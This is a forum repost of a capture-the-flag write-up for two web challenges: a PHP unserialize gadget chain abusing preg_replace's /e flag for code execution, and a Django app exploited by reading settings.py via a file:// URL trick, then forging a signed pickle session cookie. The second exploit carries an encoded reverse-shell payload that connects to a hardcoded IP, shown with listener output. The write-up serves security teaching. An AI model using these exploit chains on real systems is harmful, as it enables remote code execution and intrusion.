DevStart Blogi Napisano Kwiecień 27, 2014 Zgłoś Napisano Kwiecień 27, 2014 kpop (web200)We were given the source files of a service used to archive information about our favorite songs - after some quick skimming through the code, we saw that it used PHP serialize to keep the state and save revived data to db, and additionally used unserialize on user-supplied data. Could we use it? Yes we could. There is a nice _destruct method in the class in question, which appends data to logs.-- _destruct -- function writeLog($txt) { $txt = $this->format->format($txt); file_put_contents("/var/www/sqli/unserial/logs/" . $this->filename, $txt, FILE_APPEND); } ... function log($txt) { $this->logwriter->writeLog($txt); } ... function __destruct() { $this->song->log(); }-- _destruct -- Let's chain some class to write our file on disk... wait, we can't - there's no writable catalog anywhere in the filesystem. :( But hey, let's look carefully at logger - there's a preg_replace and we can control the regular expression!-- logger --class LogWriter_File { protected $filename; protected $format; function __construct($filename, $format) { $this->filename = str_replace("..", "__", str_replace("/", "_", $filename)); $this->format = $format; } function writeLog($txt) { $txt = $this->format->format($txt); file_put_contents("/var/www/sqli/unserial/logs/" . $this->filename, $txt, FILE_APPEND); }};-- logger --By using the /e switch, we can execute arbitrary code:-- exploit --matchPattern=$a;$this->replacement=$b;}}class LogFileFormat { public $filters,$endl; function __construct($a){$this->filters=$a;$this->endl='';}}class LogWriter_File { protected $filename,$format; function __construct($b){$this->filename='';$this->format=$b;}}class Logger { protected $logwriter; function __construct($a){$this->logwriter=$a;}}class Song { protected $logger,$name,$group,$url; function __construct($a){$this->url=$this->name=$this->group='';$this->logger=$a;}}class Lyrics { protected $lyrics,$song; function __construct($a){$this->lyrics='';$this->song=$a;}}$of = new OutputFilter('/(.*)/e',$payload);$w = new LogWriter_File(new LogFileFormat($of));$e = new Lyrics(new Song(new Logger($w)));echo base64_encode(serialize($e));-- exploit --Flag: One_of_our_favorite_songs_is_bubble_pop reekee (web200)We were given the source files of a django based web service used to share and upload memes, and we could upload arbitrary files via HTTP. Neat.-- cut -- url = request.POST['url'] text = request.POST['text'] try: if "http://" in url: image = urllib2.urlopen(url) else: image = urllib2.urlopen("http://"+url) except:-- cut --Oh, only via HTTP? Nope, urllib2 can handle more than just HTTP URLs, it supports the file and ftp protocols, so we can use file:// to read local files - if we can squeeze in the "http://" string somewhere in the filename. In order to do it, we can put the "http://" after hash (see http://en.wikipedia.org/wiki/Fragment_identifier); something like "file://file#http://". By doing this, we could read arbitrary local files, but searching for flag / key yielded nothing, so we took a different road and saw that the session was serialized with pickle and cookie was signed in settings.py.-- settings.py --SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'-- settings.pyThe signing was done with an HMAC with a secret stored in settings.py. Let's read it and forge some cookies to get RCE (django code ripped from: https://github.com/danghvu/pwp) --- exploit ---import os, hashlib, sys, pickleimport requests, subprocessfrom hmac import new as hmacfrom base64 import b64encode as b64from lxml import etreedef send_django(key, add, payload,t): def base64(s): #taken from django import base64 return base64.urlsafe_b64encode(s).strip(b'=') def salted_hmac(salt, value, secret): #taken from django key = hashlib.sha1((salt + secret).encode('utf-8')).digest() return hmac(key, msg=value, digestmod=hashlib.sha1).digest() import time import baseconv #taken from django timestamp = baseconv.base62.encode(str(int(time.time()))) data = base64(payload)+":"+timestamp mac = base64(salted_hmac('django.contrib.sessions.backends.signed_cookiessigner', data, key)) #default salt by django s = '%(payload)s:%(time)s:%(mac)s'%{'payload':base64(payload), 'time':timestamp, 'mac':mac} t.update({'sessionid':s}) return requests.get(add, cookies=t)IP = '91.228.198.97'PORT = 41412url ='http://54.82.251.203:8000'r = requests.get(url+'/login')cook = r.cookiestok = r.cookies['csrftoken']print tokr = requests.post(url+'/login',data={'username':'dragonfap','password':'dragonfap','csrfmiddlewaretoken':tok},cookies=cook)print r.textp = "ctypes\nFunctionType\n(cmarshal\nloads\n(cbase64\nb64decode\n(S'YwAAAAAFAAAAAwAAAEMAAABzmAAAAHQAAGQBAIMBAH0AAHQAAGQCAIMBAH0BAHQAAGQDAIMBAH0CAHwAAGoBAIMAAH0DAHwDAGoCAGQLAIMBAAF8AgBqAwB8AwBqBACDAABkBgCDAgABfAIAagMAfAMAagQAgwAAZAcAgwIAAXwCAGoDAHwDAGoEAIMAAGQIAIMCAAF8AQBqBQBkCQBkCgBnAgCDAQB9BABkAABTKAwAAABOdAYAAABzb2NrZXR0CgAAAHN1YnByb2Nlc3N0AgAAAG9zcw0AAAA5MS4yMjguMTk4Ljk3acShAABpAAAAAGkBAAAAaQIAAABzBwAAAC9iaW4vc2hzAgAAAC1pKAIAAABzDQAAADkxLjIyOC4xOTguOTdpxKEAACgGAAAAdAoAAABfX2ltcG9ydF9fUgAAAAB0BwAAAGNvbm5lY3R0BAAAAGR1cDJ0BgAAAGZpbGVub3QEAAAAY2FsbCgFAAAAdAIAAABzc3QCAAAAc3BSAgAAAHQBAAAAc3QBAAAAcCgAAAAAKAAAAABzGAAAAC9ob21lL21hay9waHVuL3BpY2tsZS5weXQDAAAAcHduBgAAAHMSAAAAAAIMAQwBDAEMAA0BFgAWABYB'\ntRtRc__builtin__\nglobals\n(tRS''\ntR(tR."SECRET_KEY = 'kgsu8jv!(bew#wm!eb3rb=7gy6=&5ew*jv)j-6-(50$f%no98-'r = send_django(SECRET_KEY,url+'/make',p,cook)print r.text--- exploit ---On listener:$ nc -l -p 41412/bin/sh: 0: can't access tty; job control turned off$ iduid=1001(reekee) gid=1001(reekee) groups=1001(reekee)$ give_me_the_flag.exe mymeme use_exe_to_read_me.txt$ ./give_me_the_flag.exeflag: why_did_they_make_me_write_web_appswrite: SuccessWyświetl pełny artykuł Cytuj
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.